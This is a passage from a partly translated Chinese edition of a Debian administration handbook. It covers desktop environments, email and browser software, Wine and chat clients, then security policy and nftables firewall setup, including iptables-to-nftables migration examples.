The applications menus can be further customized by administrators through system-wide configuration files as described by the “Desktop Menu Specification”. End-users can also customize the menus with graphical tools such as kmenuedit (in Plasma), alacarte (in GNOME) or menulibre.

→ https://specifications.freedesktop.org/menu-spec/latest/

历史 Debian 菜单系统

Historically — way before the FreeDesktop.org standards emerged — Debian had invented its own menu system where each package provided a generic description of the desired menu entries in /usr/share/menu/. This tool is still available in Debian (in the menu package) but it is only marginally useful since package maintainers are encouraged to rely on .desktop files instead.

13.3. 图形桌面

The free graphical desktop field is dominated by two large software collections: GNOME and Plasma by KDE. Both of them are very popular.

这种分歧有历史原因。Plasma（开始仅限于 KDE，现在已经是社区的名字）是第一个图形桌面项目，但是它使用Qt 图形工具，这对大量的开发者来说是不可接受的。Qt 当时不是自由软件，GNOME 则基于 GTK+ 工具包。 Qt 后来也成为自由软件，但是两个项目依旧并行发展。

The GNOME and KDE communities still work together: under the FreeDesktop.org umbrella, the projects collaborated in defining standards for interoperability across applications.

如何选择“最好”的图形桌面是我们想要弄明白，但又很敏感的话题。这里只介绍各种可能性并给一些指引。最好的选择莫过于亲身实验之后的选择。

13.3.1. GNOME

Debian Bullseye includes GNOME version 3.38, which can be installed by a simple apt install gnome (it can also be installed by selecting the “Debian desktop environment” task - task-desktop and task-gnome-desktop).

GNOME is noteworthy for its efforts in usability and accessibility. Design professionals have been involved in writing its standards and recommendations, which has helped developers to create satisfying graphical user interfaces. The project also gets encouragement from the big players of computing, such as Intel, IBM, Oracle, Novell, and of course, various Linux distributions. Finally, many programming languages can be used in developing applications interfacing to GNOME.

图 13.1. GNOME 桌面

For administrators, GNOME seems to be better prepared for massive deployments. Application configuration is handled through the GSettings interface and stores its data in the DConf database. The configuration settings can thus be queried and edited with the gsettings, and dconf command-line tools, or by the dconf-editor graphical user interfaces. The administrator can therefore change users' configuration with a simple script. The GNOME website provides information to guide administrators who manage GNOME workstations:

→ https://help.gnome.org/admin/

13.3.2. KDE 和 Plasma

Debian Bullseye includes version 5.20 of KDE Plasma, which can be installed with apt install kde-standard (task-kde-desktop).

Plasma has had a rapid evolution based on a very hands-on approach. Its authors quickly got very good results, which allowed them to grow a large user-base. These factors contributed to the overall project quality. Plasma is a mature desktop environment with a wide range of applications.

图 13.2. Plasma 桌面

自从 Qt 4.0 发布后，KDE 的授权许可问题就已经解决了。该版本使用 GPL 发布 Linux 和 Windows 版本（而之前的 Windows 版本使用非自由许可发布）。 KDE 应用程序主要使用 C++ 开发。

13.3.3. Xfce 和其他

Xfce is a simple and lightweight graphical desktop, which is a perfect match for computers with limited resources. It can be installed with apt install xfce4 (task-xfce-desktop). Like GNOME, Xfce is based on the GTK+ toolkit, and several components are common across both desktops.

不像 GNOME 和 Plasma，Xfce 没有将其定为大型项目。除了现代桌面的基本元素（文件管理，窗口管理，会话管理，应用程序面板，等等），它只提供了几个特定的应用程序：一个终端，一个日历 （orage），一个图像浏览器，一个 CD/DVD 烧录工具，一个媒体播放器（parole）、声音控制和一个文本编辑器 （mousepad）。

→ https://xfce.org/?lang=zh_CN

图 13.3. Xfce 桌面

13.3.4. 其他桌面环境

LXDE and LXQt are two desktop environments focusing on the “lightweight” aspect. The former is GTK+ based while the latter is Qt based. They can be installed with the lxde (task-lxde-desktop), and lxqt (task-lxqt-desktop) metapackages.

→ https://lxde.org/

→ https://lxqt.org/

图 13.4. The LXDE desktop

图 13.5. The LXQT desktop

Cinnamon and MATE both started when GNOME 3 moved away from the traditional desktop paradigm, dropping the usual panel and its menu in favor of the new search-based shell. The former reintroduced a panel by forking GNOME Shell and the latter is a continuation of GNOME 2. They can be installed with the cinnamon-desktop-environment (task-cinnamon-desktop) and mate-desktop-environment (task-mate-desktop) meta-packages.

→ https://developer.linuxmint.com/projects/cinnamon-projects.html

→ https://mate-desktop.org/

图 13.6. The Cinnamon desktop

图 13.7. The MATE desktop

13.4. 邮件

13.4.1. Evolution

社区 流行 软件包

安装 popularity-contest 软件包会参与最流行软件包的自动调查。 cron 会每周运行一个脚本，并匿名发送安装的软件包列表（通过 HTTP 或电子邮件），以及最后读取时间。Debian的维护者们可以了解已安装的软件包中，哪些是最经常安装的，哪些是实际经常使用的。

此类信息对 Debian 项目是很有用的。将会决定哪些软件包出现在首个安装盘上。此类信息也是决定是否移除某些只有少数用户使用软件包的重要因素。我们衷心地推荐安装popularity-contest 软件包，并参与调查。

所收集的数据会每日公布。

→ https://popcon.debian.org/

这些统计数据会便于用户在两个看起来等效的软件包之间做出选择。选择更流行的软件包是个更安全的选择。

Evolution 是 GNOME 中的电子邮件客户端，可以使用apt-get install evolution安装。 Evolution 不仅仅是一个邮件客户端，也提供日历，地址本，任务列表，和记事本应用程序。它的电子邮件组件包含了强大的信息索引系统，并允许基于搜索在所有存档信息中创建虚拟文件夹。换句话说，所有信息都以相同的方式储存，但以文件夹的组织方式显示，每个文件夹中包含了符合过滤条件的信息。

图 13.8. Evolution 电子邮件软件

An extension to Evolution allows integration with a Microsoft Exchange email system; the required package is evolution-ews.

13.4.2. KMail

KDE 邮件软件可以通过 apt install kmail安装。KMail 只处理电子邮件，属于 KDE-PIM （ Personal Information Manager）软件包，该软件包包含了地址本，日历组件，等待。KMail 具备了所有电子邮件客户端的优良特性。

图 13.9. KMail 电子邮件软件

13.4.3. Thunderbird

thunderbird包含在 thunderbird软件包中，是 Mozilla 软件套装的一部分。各种本地化套装在 thunderbird-l10n-* 软件包中； enigmail 插件处理信息加密和签名（并不适用于所有语言）。

图 13.10. Thunderbird 电子邮件软件

13.5. 网页浏览器

Epiphany 是GNOME 套装中的网页浏览器，使用 WebKit 显示引擎，该引擎是 Apple 为Safari 浏览器开发的。相关的软件包是 epiphany-browser。

Konqueror, available in the konqueror package, is KDE's web browser (but can also assume the role of a file manager). It uses the KDE-specific KHTML rendering engine; KHTML is an excellent engine, as witnessed by the fact that Apple's WebKit is based on KHTML. KDE also has a newer browser called Falkon, available in the falkon package. It uses the QtWebEngine.

Users not satisfied by any of the above can use Firefox. This browser, available in the firefox-esr package, uses the Mozilla project's Gecko renderer, with a thin and extensible interface on top.

图 13.11. Firefox 网络浏览器

关键词 Firefox ESR

Mozilla has a very fast-paced release cycle for Firefox. New releases are published every six to eight weeks and only the latest version is supported for security issues. This doesn't suit all kind of users so, every 10 cycles, they are promoting one of their release to an Extended Support Release (ESR) which will get security updates (and no functional changes) during the next 10 cycles (which covers a bit more than a year).

Debian has both versions packaged. The ESR one, in the package firefox-esr, is used by default since it is the only version suitable for Debian Stable with its long support period (and even there Debian has to upgrade from one ESR release to the next multiple times during a Debian Stable lifecycle). The regular Firefox is available in the firefox package but it is only available to users of Debian Unstable.

文化 冰熊，火狐及其他

Before Debian Stretch, Firefox and Thunderbird were missing. The iceweasel package contained Iceweasel, which was basically Firefox under another name.

The rationale behind this renaming was a result of the usage rules imposed by the Mozilla Foundation on the Firefox™ registered trademark: any software named Firefox had to use the official Firefox logo and icons. However, since these elements are not released under a free license, Debian could not distribute them in its main section. Rather than moving the whole browser to non-free, the package maintainer choose to use a different name.

出于类似的原因， Thunderbird（雷鸟）™ 邮件客户端被重命名为 Icedove （冰鸽）。

Nowadays, the logo and icons are distributed under a free software license and Mozilla recognized that the changes made by the Debian project are respecting their trademark license so Debian is again able to ship Mozilla's applications under their official name.

文化 Mozilla

当网络刚开始大行其道时，Netscape Navigator 是标准的浏览器，但是当Microsoft 将 Internet Explorer 与 Windows 捆绑在一起并与计算机制造商签订合同禁止他们预装 Netscape Navigator 时，Netscape Navigator 就失去了先机。面对这种困境，网景公司决定开放其源代码，并通过自由许可发布，以使其获得重生。这就是 Mozilla 项目的开始。经过许多年的发展，结果更加让人满意：从 Mozilla 项目带出的 HTML 渲染引擎（Gecko）与标准兼容性最好。该引擎由火狐浏览器使用，而该浏览器也是主要的浏览器之一。

后来，Debian 也包含了 Chromium 网页浏览器（在 chromium 软件包中）。该浏览器由Google开发，并在短短几年内已成为最受欢迎的浏览器。该浏览器目标是让网络服务更具吸引力，一方面优化浏览器的性能，一方面增加安全性。Chromium 所使用自由版本的代码也用于称为 Google Chrome ™的专有版本。

13.6. 开发

13.6.1. GNOME中 GTK+ 工具

Anjuta (in the anjuta package) and GNOME Builder (in the gnome-builder package) are Integrated Development Environments (IDE) optimized for creating GTK+ applications for GNOME. Glade (in the glade package) is an application designed to create GTK+ graphical interfaces for GNOME and save them in an XML file. These XML files can then be loaded by the GTK+ shared library through its GtkBuilder component to recreate the saved interfaces; such a feature can be interesting, for instance for plugins that require dialogs.

→ https://wiki.gnome.org/Apps/Builder

→ http://anjuta.org/

→ https://glade.gnome.org/

13.6.2. Qt 工具

Qt 中与之等效的应用是 KDE 的 KDevelop （在 kdevelop 软件包中）开发环境，和 Qt Designer （在 qttools5-dev-tools 软件包中）用于设计 Qt 应用程序图形界面。

KDevelop is also a generic IDE and provides plugins for other languages like Python and PHP and different build systems.

13.7. 办公软件包

Office software has long been seen as lacking in the free software world. Users require replacements for Microsoft tools such as Word and Excel, but these are so complex that replacements were hard to develop. The situation changed when Sun released the StarOffice code under a free license as OpenOffice, a project which later gave birth to LibreOffice, which is available on Debian. The KDE project also has its own office suite, called Calligra Suite (previously KOffice), and GNOME, while never offering a comprehensive office suite, provides AbiWord as a word processor and Gnumeric as a spreadsheet. The various projects each have their strengths. For instance, the Gnumeric spreadsheet is better than OpenOffice.org/LibreOffice in some domains, notably the precision of its calculations. On the word processing front, the LibreOffice suite still leads the way.

对用户来说，另一个重要的特性是能够导入 Microsoft Office 文档。虽然所有的办公套装可以过滤这些格式，但是只有 OpenOffice.org 和 LibreOffice 中的功能才足以应对日常应用。

更宽泛的观点 LibreOffice 取代 OpenOffice.org

OpenOffice.org contributors set up a foundation (The Document Foundation) to foster the project's development. The idea had been discussed for some time, but the actual trigger was Oracle's acquisition of Sun. The new ownership made the future of OpenOffice under Oracle uncertain. Since Oracle declined to join the foundation, the developers had to give up on the OpenOffice.org name. This office suite is now known as LibreOffice, and is available in Debian.

After a period of relative stagnation on OpenOffice.org, Oracle donated the code and associated rights to the Apache Software Foundation, and OpenOffice is now an Apache project. This project is not currently available in Debian and is rather moribund when compared to LibreOffice.

LibreOffice and Calligra Suite are available in the libreoffice and calligra Debian packages, respectively.

Language-specific packs for LibreOffice are distributed in separate packages, most notably libreoffice-l10n-* and libreoffice-help-*. Some features such as spelling dictionaries, hyphenation patterns and thesauri are in separate packages, such as myspell-*, hunspell-*, hyphen-* and mythes-*.

13.8. 模拟 Windows：Wine

撇开之前提到的努力，还有大量工具在 Linux 中不存在替代品，或者必须使用原始版本。这时候就需要 Windows 模拟系统了。其中最出名的是 Wine。

→ https://www.winehq.org/

补充 CrossOver Linux

CrossOver，由 CodeWeavers 开发，是 Wine 的增强集合，承载了一系列的模拟特性来使 Microsoft Office 完全可以使用。某些增强会周期性的并入 Wine。

→ https://www.codeweavers.com/products/

然而，应当认识到这只是解决方案之一，问题也可以通过使用虚拟机或者 VNC来解决；两种解决方案在侧边栏有详细解释 其他选择 虚拟机 和 其他选择 Windows Terminal Server 或 VNC。

此处以提示开始：模拟允许在不同的宿主系统上执行程序（该程序在其他系统上开发）。模拟软件使用软件运行的宿主系统来模仿目标系统的需求特性。

Now let's install the required packages (ttf-mscorefonts-installer is in the contrib section):

# apt install wine ttf-mscorefonts-installer

On a 64 bit (amd64) system, if your Windows applications are 32 bit applications, then you will have to enable multi-arch to be able to install wine32 from the i386 architecture (see 第 5.4.5 节 “多架构支持”).

The user then needs to run winecfg and configure which (Debian) locations are mapped to which (Windows) drives. winecfg has some sane defaults and can auto-detect some more drives; note that even if you have a dual-boot system, you should not point the C: drive at where the Windows partition is mounted in Debian, as Wine is likely to overwrite some of the data on that partition, making Windows unusable. Other settings can be kept to their default values. To run Windows programs, you will first need to install them by running their (Windows) installer under Wine, with a command such as wine .../setup.exe; once the program is installed, you can run it with wine .../program.exe. The exact location of the program.exe file depends on where the C: drive is mapped; in many cases, however, simply running wine program will work, since the program is usually installed in a location where Wine will look for it by itself.

技巧winecfg 失败处理

In some cases, winecfg (which is just a wrapper) might fail. As a workaround, it is possible to try to run the underlying command manually: wine64 /usr/lib/x86_64-linux-gnu/wine/wine/winecfg.exe.so or wine32 /usr/lib/i386-linux-gnu/wine/wine/winecfg.exe.so.

注意，如果没有实际进行测试，那么不能完全指望 Wine（或类似的方案）：只有真正的使用测试才能决定模拟是否完全工作正常。

其他选择 虚拟机

An alternative to emulating Microsoft's operating system is to actually run it in a virtual machine that emulates a full hardware machine. This allows running any operating system. 第 12 章 高级管理 describes several virtualization systems, most notably Xen and KVM (but also QEMU, VMWare and VirtualBox).

其他选择 Windows Terminal Server 或 VNC

另一种可能是在有Windows Terminal Server 的中央服务器上远程运行遗留的 Windows 应用程序，在 Linux 机器上使用rdesktop 来访问读取应用程序。这是一个 Linux 上的 RDP （Remote Desktop Protocol）协议客户端，Windows NT/2000 Terminal Server 使用该协议在远程机器上显示桌面。

VNC 软件提供类似的特性，它能在多种操作系统上工作。Linux VNC 客户端和服务器在 第 9.2 节 “远程登录”中有详细描述。

13.9. 即时通讯软件

Debian provides a wide range of Real-Time Communications (RTC) client software. The setup of RTC servers is discussed in 第 11.8 节 “实时通信服务”. In SIP (Session Initiation Protocol) terminology, a client application or device is also referred to as a user agent.

Each client application varies in functionality. Some applications are more convenient for intensive chat users while other applications are more stable for webcam users. It may be necessary to test several applications to identify those which are most satisfactory. A user may finally decide that they need more than one application, for example, an XMPP application for messaging with customers and an IRC application for collaboration with some online communities.

为了最大化的提升用户在宽广的世界里沟通联络，建议同时配置 SIP 客户端程序和 XMPP 的客户端程序，或者是一个单独的同时支持两种协议的客户端程序。

The default GNOME desktop suggests the Empathy communications client. Empathy can support both SIP and XMPP. It supports instant messaging (IM), voice and video. The KDE project provides KDE Telepathy, a communications client based on the same underlying Telepathy APIs used by the GNOME Empathy client.

Popular alternatives to Empathy/Telepathy include Ekiga, Linphone, Psi, Jitsi and Jami (formerly known as Ring).

Jitsi requires no client other than a web browser. It support encrypted calls, and there is a huge list of public instances. There is no official Debian package for Jitsi, but it can be downloaded from their official website.

Some of these applications can also interact with mobile users using apps such as Lumicall on Android.

→ https://lumicall.org

实时通讯快速上手指南 专门有一章讲述客户端软件。

→ http://rtcquickstart.org/guide/multi/useragents.html

TIP Look for clients supporting ICE and TURN

有些 RTC 客户端在通过防火墙或者 NAT 网络传输时音频和视频存在很大的问题。用户可能会接听到幽灵电话（电话接通了但是却听不到另一方的声音）或者干脆是无法拨通。

ICE 和 TURN 协议是为了解决这些问题而开发的。 在两边同时运行 TURN 服务器，且使用同时支持 ICE 和 TURN的客户端，可以获得最好的用户体验。

如果客户端软件仅仅是专注于即使通信，那么就不要求支持 ICE 和 TURN。

选择 互联网聊天室（IRC）

除了 SIP 和 XMPP 之外，也可以考虑 IRC。这种系统以频道集中，频道名以井号 #开始。每个频道通常讨论一个特定的话题，任意数量的人都可以加入一个讨论频道（但是如果有需求，用户也可以进行一对一的私聊）。IRC 协议已经比较老了，并且不支持端到端的消息加密；仍然可以在用户和服务器之间通过 SSL 隧道内部加密 IRC 协议。

IRC 客户端稍微有点复杂，在公司环境中它们所能提供许多限制特性。例如，如果正常讨论被扰乱，频道“操作者”可以将用户踢出去，甚至永久封账户。

由于 IRC 协议比较老，很多客户端都能支持大量的用户组；例子包括 XChat 和 Smuxi（基于 GTK+的图形界面），Irssi（文本模式），Circe（与 Emacs集成）等等。

第 14 章 安全

一个信息系统根据其使用环境的不同可能具有不同等级的重要性。某些情况下，对公司性命攸关。因此，必须保护其免受各种风险。评估这些风险，定义并执行保护措施总称为“安全过程”。

14.1. 定义安全策略

注意 本章所涉及范围

安全是一个很广泛并且敏感的题目，很难在一个章节的课程中来明确全面地表述。此处只划定几个重点，介绍一些可以用于安全领域的工具和方法。更深层次的读物，作品，书籍比比皆是。

“安全”是一个涵盖很宽泛的概念，工具和方法，没有哪个是万用的。在其中做出选择，需要确切的知道你的目标是什么。保护系统从回答几个问题开始。急匆匆的实施随机的工具会把安全风险转移到错误的方向。

因此，首要的事情是确定目标。从下面的问题开始，是逐渐确定目标的好方法：

- 什么 是要保护的？要保护计算机还是要保护数据，其策略是不同的。如果是后者，还要知道保护哪些数据。

- 我们试图防止什么？机密数据泄露？意外数据丢失？服务中断而导致的收入损失？

- 同样，试图防止谁？防范正常用户的输入和防止有预谋的攻击者，其安全措施是大不相同的。

术语“风险”通常用来涉及这三个因素的综合：保护什么，防止发生什么，谁会让它发生。三个问题的答案就塑造了风险。针对这种风险模型，就可以构建安全策略，并通过具体行动实施策略。

注意 永久质疑

Bruce Schneier，是一个安全事务（不仅仅是计算机安全）方面的世界级专家，曾将安全最重要神秘的面纱概括为一句箴言：“安全是一个过程，而非产品”。需要保护的东西会随着时间而改变。威胁和对付潜在攻击者的方法也是如此。即使安全策略被完美的设计和实施，也不应该躺在功劳簿上。引入了新的风险组件，则必须引入相应的对策。

额外的限制也值得考虑，它们可以限制可用策略的范围。我们想要在多大程度上保护一个系统？这个问题会对实施策略产生重大影响。答案常常仅仅以金钱成本来定义，但是也应该考虑其他因素，例如强加给系统用户的不便或者性能降低程度。

一旦风险成型，就可以考虑开始设计实际的风险策略了。

注意 极端策略

某些情况下，保护系统所要做的行动是极其简单的。

譬如，如果要保护的系统只是一个每天结束时加几个数据的二手电脑，那么不采取特殊措施来保护它也是合理的。系统本身的价值很低。而数据不储存在电脑上，数据的价值几乎没有。渗透到该系统的潜在攻击者只会得到一个笨拙的计算器。保护这样一个系统的成本很可能比破坏导致的成本还要大。

另一方面，我们想最充分的保护机密数据，超过其他任何考虑。这种情况，一种恰当的做法可能是完全焚毁这些数据（安全删除文件，将硬盘粉碎成位元，然后将这些位元溶解到酸中，等等）。如果有额外的需求，数据必须存储以便将来使用（虽然不是马上可用），同时要考虑成本因素，那么可以将这些数据存储在白金合金板上，再存到世界山脉下面的防弹沙坑里，每一个都保密并且有重兵把守…

虽然看起来有些极端，但是它们足以应对所定义的风险，因为它们是在考虑了要达到的目标和约束条件之后思考的结果。只要是出于理性的决断，没有哪个安全策略比另外的更不值得敬畏。

多数情况下，信息系统可以分割成一致独立的子系统。每个子系统有自身的需求和限制，这样可以单独评估每个风险和设计安全策略。一个需要谨记的原则是简短明晰的周界要比漫长而曲折的前沿容易定义。网络结构也应相应设计：敏感服务应集中在少数几个机器上，而且这些机器只能通过极少数检查点访问；保护这些检查点要比隔离所有敏感机器与外部世界简单。在这些点上，网络过滤器（包括防火墙）的作用就显而易见了。过滤器可以用专门的硬件，但是更为简单和复杂的解决方案是使用软件防火墙，例如在 Linux 内核中集成的。

14.2. 防火墙或者包过滤

回到基础 防火墙

防火墙是计算机设备的一部分，该设备使用硬件和（或者）软件分拣流入和流出的网络数据包（源自或者源于局域网），并且只允许符合预定义条件的包通过。

防火墙是一个过滤网关，并且只对要通过它的数据包有作用。因此，只有在防火墙是这些数据包的唯一路由器的时候才有效。

特例 局部防火墙

A firewall can be restricted to one particular machine (as opposed to a complete network), in which case its role is to filter or limit access to some services. It is, however, always better to configure services to not listen on those network interfaces, where these services are not supposed to be offered, or to disable and remove services, which are not to be offered at all, than to use a packet filter to prevent any unwanted access to these services.

Its role can also be to filter or limit connections by rogue or poorly programmed software that a user could, willingly or not, have installed. The reliability of this, however, highly depends on the goal of these actions and the integrity of the system itself. This action is not a measurement to prevent potential threats to send data.

The Linux kernel embeds the netfilter firewall, which can be controlled from user space with the iptables, ip6tables, arptables and ebtables commands.

However, Netfilter iptables commands are being replaced by nftables, which avoids many of its problems. Its design involves less code duplication, and it can be managed with just the nft command. Since Debian Buster, the nftables framework is used by default. The commands mentioned before are provided by versions, which use the nftables kernel API, by default. If one requires the “classic“ commands, the relevant binaries can be adjusted using update-alternatives.

TOOLS fwbuilder and ufw

Although (destined to) being replaced by nftables, iptables is still widely used and suited for many use-cases. Creating a rule requires an invocation of iptables/ip6tables. Typing these commands manually can be tedious, so the calls are usually stored in a script, so that the same configuration is set up automatically every time the machine boots, or they can be made “persistent“ using iptables-persistent.

A script usually needs to be written by hand. But there are, tools that make it simpler to configure the netfilter firewall, with a graphical representation of the filtering rules. fwbuilder is undoubtedly among the best of them. The rules are created with simple drag-and-drop actions on objects (interfaces, networks, ports, servers, etc.). A few contextual menus can change the condition (negating it, for instance). Then the action needs to be chosen and configured.

An alternative to writing and saving/loading the required rules is to use ufw from the package with the same name. This tool is a frontend to iptables as well, but it provides a command line interface only. Simple commands can enable or disable (block) network traffic to and from ports and IP addresses. The configuration files in /etc/ufw/ also allow for complex rule sets (e.g. hooking into the Docker chains), which are then saved and loaded automatically. This tool is often used for simple setups and to block incoming traffic on ports which cannot be assigned to a limited set of interfaces or closed appropriately.

要在 Debian 中启用默认防火墙，请执行：

# apt install -y nftables

Reading package lists... Done

...

# systemctl enable nftables.service

Created symlink /etc/systemd/system/sysinit.target.wants/nftables.service → /lib/systemd/system/nftables.service.

14.2.1. nftables 行为

As the kernel is processing a network packet, it pauses and allows us to inspect the packet and decide what to do with that packet. For example, we might want to drop or discard certain incoming packets, modify other packets in various ways, block certain outgoing packets to control against malware or redirect some packets at the earliest possible stage to bridge network interfaces or to spread the load of incoming packets between systems.

A good understanding of the layers 3, 4 and 5 of the OSI (Open Systems Interconnection) model is essential to get the most from netfilter.

CULTURE The OSI model

The OSI model is a conceptual model to implement networking protocols without regard to its underlying internal structure and technology. Its goal is the interoperability of diverse communication systems with standard communication protocols.

该模型在标准ISO/EIC 7498中定义。描述了以下七个层：

1. Physical: transmission and reception of raw bit streams over a physical medium

2. Data Link: reliable transmission of data frames between two nodes connected by a physical layer

3. Network: structuring and managing a multi-node network, including addressing, routing and traffic control

4. Transport: reliable transmission of data segments between points on a network, including segmentation, acknowledgment and multiplexing

5. Session: managing communication sessions, i.e. continuous exchange of information in the form of multiple back-and-forth transmissions between two nodes

6. Presentation: translation of data between a networking service and an application; including character encoding, data compression and encryption/decryption

7. 应用程序：高级 API，包括资源共享、远程文件访问。

More information can be found on Wikipedia:

→ https://en.wikipedia.org/wiki/OSI_model

The firewall is configured with tables, which hold rules contained in chains. Unlike iptables, nftables does not have any default table. The user decides which and how many tables to create. Every table must have only one of the following five families assigned: ip, ip6, inet, arp and bridge. ip is used if the family is not specified.

There are two types of chains: base chains and regular chains. A base chain is an entry point for packets from the networking stack. Base chains are registered into the Netfilter hooks, e.g. they see packets flowing through the TCP/IP stack. On the other hand, a regular chain is not attached to any hook so it does not see any traffic. But it may be used as a jump target for better organization of the rules.

Rules are made of statements, which includes some expressions to be matched and then a verdict statement, like accept, drop, queue, continue, return, jump chain and goto chain.

回到基础 ICMP

ICMP (Internet Control Message Protocol) is the protocol used to transmit complementary information on communications. It allows testing network connectivity with the ping command (which sends an ICMP echo request message, which the recipient is meant to answer with an ICMP echo reply message). It signals a firewall rejecting a packet, indicates an overflow in a receive buffer, proposes a better route for the next packets in the connection, and so on. This protocol is defined by several RFC documents; the initial RFC 777 and RFC 792 were soon completed and extended.

→ http://www.faqs.org/rfcs/rfc777.html

→ http://www.faqs.org/rfcs/rfc792.html

接收缓冲区是一个小内存区域，用来存储已经从网络到达而内核还未来得及处理的数据。如果该区域满了，新的数据就不能被接收，ICMP 会发出错误信号，这样发送者会减缓传输速率（理想情况下，过段时间就会达到平衡）。

Note that although an IPv4 network can work without ICMP, ICMPv6 is strictly required for an IPv6 network, since it combines several functions that were, in the IPv4 world, spread across ICMPv4, IGMP (Internet Group Membership Protocol) and ARP (Address Resolution Protocol). ICMPv6 is defined in RFC 4443.

→ http://www.faqs.org/rfcs/rfc4443.html

14.2.2. 从 iptable 移动到 nftables

The iptables-translate and ip6tables-translate commands can be used to translate old iptables commands into the new nftables syntax. Whole rule sets can also be translated, in this case we migrate the rules configured in one computer which has Docker installed:

# iptables-save > iptables-ruleset.txt

# iptables-restore-translate -f iptables-ruleset.txt

# Translated by iptables-restore-translate v1.8.7 on Wed Mar 16 22:06:32 2022

add table ip filter

add chain ip filter INPUT { type filter hook input priority 0; policy accept; }

add chain ip filter FORWARD { type filter hook forward priority 0; policy drop; }

add chain ip filter OUTPUT { type filter hook output priority 0; policy accept; }

add chain ip filter DOCKER

add chain ip filter DOCKER-ISOLATION-STAGE-1

add chain ip filter DOCKER-ISOLATION-STAGE-2

add chain ip filter DOCKER-USER

add rule ip filter FORWARD counter jump DOCKER-USER

add rule ip filter FORWARD counter jump DOCKER-ISOLATION-STAGE-1

add rule ip filter FORWARD oifname "docker0" ct state related,established counter accept

add rule ip filter FORWARD oifname "docker0" counter jump DOCKER

add rule ip filter FORWARD iifname "docker0" oifname != "docker0" counter accept

add rule ip filter FORWARD iifname "docker0" oifname "docker0" counter accept

add rule ip filter DOCKER-ISOLATION-STAGE-1 iifname "docker0" oifname != "docker0" counter jump DOCKER-ISOLATION-STAGE-2

add rule ip filter DOCKER-ISOLATION-STAGE-1 counter return

add rule ip filter DOCKER-ISOLATION-STAGE-2 oifname "docker0" counter drop

add rule ip filter DOCKER-ISOLATION-STAGE-2 counter return

add rule ip filter DOCKER-USER counter return

add table ip nat

add chain ip nat PREROUTING { type nat hook prerouting priority -100; policy accept; }

add chain ip nat INPUT { type nat hook input priority 100; policy accept; }

add chain ip nat OUTPUT { type nat hook output priority -100; policy accept; }

add chain ip nat POSTROUTING { type nat hook postrouting priority 100; policy accept; }

add chain ip nat DOCKER

add rule ip nat PREROUTING fib daddr type local counter jump DOCKER

add rule ip nat OUTPUT ip daddr != 127.0.0.0/8 fib daddr type local counter jump DOCKER

add rule ip nat POSTROUTING oifname != "docker0" ip saddr 172.17.0.0/16 counter masquerade

add rule ip nat DOCKER iifname "docker0" counter return

# Completed on Wed Mar 16 22:06:32 2022

# iptables-restore-translate -f iptables-ruleset.txt > ruleset.nft

# nft -f ruleset.nft

# nft list ruleset

table inet filter {

chain input {

type filter hook input priority filter; policy accept;

}

chain forward {

type filter hook forward priority filter; policy accept;

}

chain output {

type filter hook output priority filter; policy accept;

}

}

table ip nat {

chain DOCKER {

iifname "docker0" counter packets 0 bytes 0 return

iifname "docker0" counter packets 0 bytes 0 return

}

chain POSTROUTING {

type nat hook postrouting priority srcnat; policy accept;

oifname != "docker0" ip saddr 172.17.0.0/16 counter packets 0 bytes 0 masquerade

oifname != "docker0" ip saddr 172.17.0.0/16 counter packets 0 bytes 0 masquerade

}

chain PREROUTING {

type nat hook prerouting priority dstnat; policy accept;

fib daddr type local counter packets 1 bytes 60 jump DOCKER

fib daddr type local counter packets 0 bytes 0 jump DOCKER

}

chain OUTPUT {

type nat hook output priority -100; policy accept;

ip daddr != 127.0.0.0/8 fib daddr type local counter packets 0 bytes 0 jump DOCKER

ip daddr != 127.0.0.0/8 fib daddr type local counter packets 0 bytes 0 jump DOCKER

}

chain INPUT {

type nat hook input priority 100; policy accept;

}

}

table ip filter {

chain DOCKER {

}

chain DOCKER-ISOLATION-STAGE-1 {

iifname "docker0" oifname != "docker0" counter packets 0 bytes 0 jump DOCKER-ISOLATION-STAGE-2

counter packets 0 bytes 0 return

iifname "docker0" oifname != "docker0" counter packets 0 bytes 0 jump DOCKER-ISOLATION-STAGE-2

counter packets 0 bytes 0 return

}

chain DOCKER-ISOLATION-STAGE-2 {

oifname "docker0" counter packets 0 bytes 0 drop

counter packets 0 bytes 0 return

oifname "docker0" counter packets 0 bytes 0 drop

counter packets 0 bytes 0 return

}

chain FORWARD {

type filter hook forward priority filter; policy drop;

counter packets 0 bytes 0 jump DOCKER-USER

counter packets 0 bytes 0 jump DOCKER-ISOLATION-STAGE-1

oifname "docker0" ct state related,established counter packets 0 bytes 0 accept

oifname "docker0" counter packets 0 bytes 0 jump DOCKER

iifname "docker0" oifname != "docker0" counter packets 0 bytes 0 accept

iifname "docker0" oifname "docker0" counter packets 0 bytes 0 accept

counter packets 0 bytes 0 jump DOCKER-USER

counter packets 0 bytes 0 jump DOCKER-ISOLATION-STAGE-1

oifname "docker0" ct state established,related counter packets 0 bytes 0 accept

oifname "docker0" counter packets 0 bytes 0 jump DOCKER

iifname "docker0" oifname != "docker0" counter packets 0 bytes 0 accept

iifname "docker0" oifname "docker0" counter packets 0 bytes 0 accept

}

chain DOCKER-USER {

counter packets 0 bytes 0 return

counter packets 0 bytes 0 return

}

chain INPUT {

type filter hook input priority filter; policy accept;

}

chain OUTPUT {

type filter hook output priority filter; policy accept;

}

}

The tools iptables-nft, ip6tables-nft, arptables-nft, ebtables-nft are versions of iptables that use the nftables API, so users can keep using the old iptables syntax with them, but that is not recommended; these tools should only be used for backwards compatibility.

14.2.3. nft 的语法

The nft commands allow manipulating tables, chains and rules. The table option supports multiple operations: add, create, delete, list and flush. nft add table ip6 mangle adds a new table from the family ip6.

To insert a new base chain to the filter table, you can execute the following command (note that the semicolon is escaped with a backslash when using Bash):

# nft add chain filter input { type filter hook input priority 0 \; }

Rules are usually added with the following syntax: nft add rule [family] table chain handle handle statement.

insert is similar to the add command, but the given rule is prepended to the beginning of the chain or before the rule with the given handle instead of at the end or after that rule. For example, the following command inserts a rule before the rule with handler number 8:

# nft insert rule filter output position 8 ip daddr 127.0.0.8 drop

The executed nft commands do not make permanent changes to the configuration, so they are lost if they are not saved. The firewall rules are located in /etc/nftables.conf. A simple way to save the current firewall configuration permanently is to execute nft list ruleset > /etc/nftables.conf as root.

nft allows many more operations, refer to its manual page nft(8) for more information.

14.2.4. 每次启动时加载规则

要在 Debian 中启用默认防火墙，你需要把规则保存在 /etc/nftables.conf 中，并以 root 身份执行 systemctl enable nftables 命令。 你也可以以 root 身份执行 nft flush ruleset 来清空规则。

其他情况下，推荐的方法是将配置脚本在 up 目录下作为 /etc/network/interfaces 文件。在后面的例子中，脚本存储在 /usr/local/etc/arrakis.fw。

